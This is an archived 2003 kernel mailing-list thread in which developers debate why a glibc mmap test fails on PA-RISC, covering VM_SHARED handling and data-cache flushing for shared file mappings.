Original-Received: from pizda.ninka.net (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with SMTP id KAA02074;
	Fri, 22 Aug 2003 10:36:35 -0700
In-Reply-To: <20030822174103.GI18834@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19285

On Fri, 22 Aug 2003 18:41:03 +0100
Matthew Wilcox <willy@debian.org> wrote:

> Uhm.  So what happens when the user has stored into the page and now
> the kernel wants to read from it?  There's still data in the cache for
> the user mapping that's non-coherent with the kernel mapping.

I see.  This causes the page cache read flush_dcache_page() call
not to trigger.

I was very confused by the fact that this bug was explained by
saying that "the shared mmap list that flush_dcache_page() checks".

So the idea is that VM_SHARED should be set based upon whether
we mmap() the thing writable _not_ whether the open() was done
with write permission enabled.

Yes, I agree with that.


From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
 tst-mmap-eofsync in glibc on parisc)
Date: Fri, 22 Aug 2003 11:01:44 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20030822110144.5f7b83c5.davem__8045.82253699682$1416622707$gmane$org@redhat.com>
References: <1061563239.2090.25.camel@mulgrave>
	<20030822091447.6ecea6ca.davem@redhat.com>
	<20030822163429.GH18834@parcelfarce.linux.theplanet.co.uk>
	<20030822093900.4468c012.davem@redhat.com>
	<20030822174103.GI18834@parcelfarce.linux.theplanet.co.uk>
	<20030822103634.46a15747.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622707 29869 80.91.229.3 (22 Nov 2014 02:18:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:27 +0000 (UTC)
Cc: willy@debian.org, James.Bottomley@SteelEye.com,
	linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org,
	drepper@redhat.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 12:01:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rth.ninka.net (rth.ninka.net [216.101.162.244])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4985048E1
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 12:01:46 -0600 (MDT)
Original-Received: from rth.ninka.net (localhost.localdomain [127.0.0.1])
	by rth.ninka.net (8.12.8/8.12.8) with SMTP id h7MI1iSo012689;
	Fri, 22 Aug 2003 11:01:44 -0700
In-Reply-To: <20030822103634.46a15747.davem@redhat.com>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19286

On Fri, 22 Aug 2003 10:36:34 -0700
"David S. Miller" <davem@redhat.com> wrote:

> On Fri, 22 Aug 2003 18:41:03 +0100
> Matthew Wilcox <willy@debian.org> wrote:
> 
> > Uhm.  So what happens when the user has stored into the page and now
> > the kernel wants to read from it?  There's still data in the cache for
> > the user mapping that's non-coherent with the kernel mapping.
> 
> I see.  This causes the page cache read flush_dcache_page() call
> not to trigger.

Wait, I'm confused again.

How can the user "write" to the mmap()'d side if PROT_WRITE
was not specified?  That is the only case in which the proposed
patch could make a difference, we check this:

	switch (flags & MAP_TYPE) {
		case MAP_SHARED:
			if ((prot&PROT_WRITE) && !(file->f_mode&FMODE_WRITE))
				return -EACCES;

Therefore if the user can write to the page, file->f_mode will
have the write bit set too.

So the proposed patch looks bogus to me.


From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hugh@veritas.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing tst-mmap-eofsync
 in glibc on parisc)
Date: Fri, 22 Aug 2003 19:34:41 +0100 (BST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0308221926060.2200-100000__30100.2135187902$1416622707$gmane$org@localhost.localdomain>
References: <20030822110144.5f7b83c5.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622707 29873 80.91.229.3 (22 Nov 2014 02:18:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:27 +0000 (UTC)
Cc: willy@debian.org, <James.Bottomley@SteelEye.com>,
	<linux-kernel@vger.kernel.org>,
	<parisc-linux@lists.parisc-linux.org>, <drepper@redhat.com>
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 12:33:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mtvmime01.veritas.com (bay-bridge.veritas.com [143.127.3.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id A418548E2
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 12:33:01 -0600 (MDT)
Original-Received: from megami (unverified) by mtvmime01.veritas.com
 (Content Technologies SMTPRS 4.2.10) with SMTP id <T6435d6f6d10a8911513e0@mtvmime01.veritas.com>;
 Fri, 22 Aug 2003 11:33:29 -0700
Original-Received: from oldfart([10.10.185.155]) (1462 bytes) by megami
	via sendmail with P:esmtp/R:smart_host/T:smtp
	(sender: <hugh@veritas.com>) 
	id <m19qGiZ-00008sC@megami>
	for <linux-kernel@vger.kernel.org>; Fri, 22 Aug 2003 11:32:59 -0700 (PDT)
	(Smail-3.2.0.101 1997-Dec-17 #15 built 2001-Aug-30)
X-X-Sender: hugh@localhost.localdomain
In-Reply-To: <20030822110144.5f7b83c5.davem@redhat.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19287

On Fri, 22 Aug 2003, David S. Miller wrote:
> 
> So the proposed patch looks bogus to me.

And to me.  If VM_SHARED is set, then __vma_link_file puts the vma on
on i_mmap_shared.  If VM_SHARED is not set, it puts the vma on i_mmap.
flush_dcache_page treats i_mmap_shared and i_mmap lists equally.

Might the problem be in parisc's __flush_dcache_page,
which only examines i_mmap_shared?

Though it's odd, I'm not keen on changing do_mmap_pgoff's usage of
VM_SHARED in a hurry: it's worked like that for years, and other
things (I forget) depend on it.

Hugh



From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
 tst-mmap-eofsync in glibc on parisc)
Date: Fri, 22 Aug 2003 11:31:06 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20030822113106.0503a665.davem__12779.9006332227$1416622707$gmane$org@redhat.com>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622707 29880 80.91.229.3 (22 Nov 2014 02:18:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:27 +0000 (UTC)
Cc: willy@debian.org, James.Bottomley@SteelEye.com,
	linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org,
	drepper@redhat.com
To: Hugh Dickins <hugh@veritas.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 12:38:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA78E48E9
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 12:38:42 -0600 (MDT)
Original-Received: from pizda.ninka.net (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with SMTP id LAA02250;
	Fri, 22 Aug 2003 11:31:07 -0700
In-Reply-To: <Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19288

On Fri, 22 Aug 2003 19:34:41 +0100 (BST)
Hugh Dickins <hugh@veritas.com> wrote:

> And to me.  If VM_SHARED is set, then __vma_link_file puts the vma on
> on i_mmap_shared.  If VM_SHARED is not set, it puts the vma on i_mmap.
> flush_dcache_page treats i_mmap_shared and i_mmap lists equally.

But file system page cache writes only call flush_dache_page()
if the page has a non-empty i_mmap_shared list.

> Might the problem be in parisc's __flush_dcache_page,
> which only examines i_mmap_shared?

No, it examines both lists, the problem is not there.

The issue seems to be some confusion about whether the
test program in question is actually mmap()'ing the area
with PROT_WRITE set, and if so why the test case isn't
passing because in such a case the page will have a non-empty
i_mmap_shared list.


From - Thu Nov 08 21:28:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
	tst-mmap-eofsync in glibc on parisc)
Date: 22 Aug 2003 13:41:26 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <1061577688.2090.285.camel__22997.7172021338$1416622708$gmane$org@mulgrave>
References: <Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622708 29884 80.91.229.3 (22 Nov 2014 02:18:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:28 +0000 (UTC)
Cc: "David S. Miller" <davem@redhat.com>, willy@debian.org,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>, drepper@redhat.com
To: Hugh Dickins <hugh@veritas.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 12:41:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D83448ED
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 12:41:40 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7MIfRI10000;
	Fri, 22 Aug 2003 14:41:27 -0400
In-Reply-To: <Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19289

On Fri, 2003-08-22 at 13:34, Hugh Dickins wrote:
> Might the problem be in parisc's __flush_dcache_page,
> which only examines i_mmap_shared?

This is the issue: we do treat them differently.

Semantics differ between privately mapped data (where there's no
coherency guarantee) and shared data (where there is).  Flushing the
virtual cache is expensive on pa, so we only do it for the i_mmap_shared
list.

The difficulty is that a mmap of a read only file with MAP_SHARED is
expecting the shared cache semantics, but gets added to the non shared
list.

Since flushing the caches is a performance hog, we'd like do be able to
distinguish the cases where we have to do the flush MAP_SHARED mappings
from those we don't (MAP_PRIVATE).

James





From - Thu Nov 08 21:28:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
	tst-mmap-eofsync in glibc on parisc)
Date: 22 Aug 2003 13:56:06 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <1061578568.2053.313.camel__39495.3001793057$1416622708$gmane$org@mulgrave>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain> 
	<20030822113106.0503a665.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622708 29886 80.91.229.3 (22 Nov 2014 02:18:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:28 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>, willy@debian.org,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>, drepper@redhat.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 12:56:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A8CD48E6
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 12:56:20 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7MIu6I10814;
	Fri, 22 Aug 2003 14:56:06 -0400
In-Reply-To: <20030822113106.0503a665.davem@redhat.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19290

On Fri, 2003-08-22 at 13:31, David S. Miller wrote:
> On Fri, 22 Aug 2003 19:34:41 +0100 (BST)
> Hugh Dickins <hugh@veritas.com> wrote:
> 
> > And to me.  If VM_SHARED is set, then __vma_link_file puts the vma on
> > on i_mmap_shared.  If VM_SHARED is not set, it puts the vma on i_mmap.
> > flush_dcache_page treats i_mmap_shared and i_mmap lists equally.
> 
> But file system page cache writes only call flush_dache_page()
> if the page has a non-empty i_mmap_shared list.

Hmm, but if it does that then the glibc bug test should show up on sparc
because the i_mmap_shared list is empty if we only do MAP_SHARED of read
only files.

James




From - Thu Nov 08 21:28:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hugh@veritas.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
    tst-mmap-eofsync in glibc on parisc)
Date: Fri, 22 Aug 2003 20:02:44 +0100 (BST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0308221954570.2256-100000__9948.05100276626$1416622708$gmane$org@localhost.localdomain>
References: <1061577688.2090.285.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622708 29890 80.91.229.3 (22 Nov 2014 02:18:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:28 +0000 (UTC)
Cc: "David S. Miller" <davem@redhat.com>, <willy@debian.org>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>,
	<drepper@redhat.com>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 13:01:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mtvmime02.veritas.com (bay-bridge.veritas.com [143.127.3.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4CBF648F1
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 13:01:05 -0600 (MDT)
Original-Received: from megami (unverified) by mtvmime02.veritas.com 
    (Content Technologies SMTPRS 4.3.10) with SMTP id 
    <T6435f07b0b0a891154660@mtvmime02.veritas.com>; Fri, 22 Aug 2003 12:01:22 
    -0700
Original-Received: from oldfart ([10.10.185.155]) (2150 bytes) by megami via sendmail 
    with P:esmtp/R:smart_host/T:smtp (sender: <hugh@veritas.com>) id 
    <m19qH9i-000095C@megami> for <linux-kernel@vger.kernel.org>; Fri, 22 Aug 
    2003 12:01:02 -0700 (PDT) 
    (Smail-3.2.0.101 1997-Dec-17 #15 built 2001-Aug-30)
X-X-Sender: hugh@localhost.localdomain
In-Reply-To: <1061577688.2090.285.camel@mulgrave>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19291

On 22 Aug 2003, James Bottomley wrote:
> On Fri, 2003-08-22 at 13:34, Hugh Dickins wrote:
> > Might the problem be in parisc's __flush_dcache_page,
> > which only examines i_mmap_shared?
> 
> This is the issue: we do treat them differently.
> 
> Semantics differ between privately mapped data (where there's no
> coherency guarantee) and shared data (where there is).  Flushing the
> virtual cache is expensive on pa, so we only do it for the i_mmap_shared
> list.
> 
> The difficulty is that a mmap of a read only file with MAP_SHARED is
> expecting the shared cache semantics, but gets added to the non shared
> list.
> 
> Since flushing the caches is a performance hog, we'd like do be able to
> distinguish the cases where we have to do the flush MAP_SHARED mappings
> from those we don't (MAP_PRIVATE).

The naming "i_mmap_shared" does suggest that once upon a time those
lists were as you'd like; and that at some point it was changed.

Perhaps some arches prefer the coherency guarantee I'm familiar with
in MAP_PRIVATE (yes, when you modify a page yourself, it cows off and
becomes private; but in i386 it's shared up until then), and other
arches (like yours) would prefer to avoid the overhead.

Hugh



From - Thu Nov 08 21:28:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing tst-mmap-eofsync in glibc on parisc)
Date: Fri, 22 Aug 2003 12:09:52 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20030822190952.GF21328__33248.7552812838$1416622709$gmane$org@tausq.org>
References: <Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain> <1061577688.2090.285.camel@mulgrave>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622709 29893 80.91.229.3 (22 Nov 2014 02:18:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:29 +0000 (UTC)
Cc: Hugh Dickins <hugh@veritas.com>,
	"David S. Miller" <davem@redhat.com>, willy@debian.org,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>, drepper@redhat.com
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 13:05:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB45248F4
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 13:05:17 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 75CACCD365; Fri, 22 Aug 2003 12:09:52 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1061577688.2090.285.camel@mulgrave>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19292

In reference to a message from James Bottomley, dated Aug 22:
> On Fri, 2003-08-22 at 13:34, Hugh Dickins wrote:
> > Might the problem be in parisc's __flush_dcache_page,
> > which only examines i_mmap_shared?
> 
> This is the issue: we do treat them differently.

as does some other archs, like ARM.

are we saying that MAP_SHARED != VM_SHARED? the mmap code allows
architectures to map pages differently if MAP_SHARED is specified, but
it puts it on i_mmap vs i_mmap_shared using VM_SHARED, and for read-only
files we silently drop VM_SHARED... so the page is mapped using
MAP_SHARED semantics but placed on i_mmap....

confused,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
 tst-mmap-eofsync in glibc on parisc)
Date: Fri, 22 Aug 2003 12:19:55 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20030822121955.619a14eb.davem__10275.0513390221$1416622709$gmane$org@redhat.com>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622709 29895 80.91.229.3 (22 Nov 2014 02:18:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:29 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org, linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org, drepper@redhat.com
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 13:27:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F60548F7
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 13:27:26 -0600 (MDT)
Original-Received: from pizda.ninka.net (IDENT:davem@localhost.localdomain [127.0.0.1])
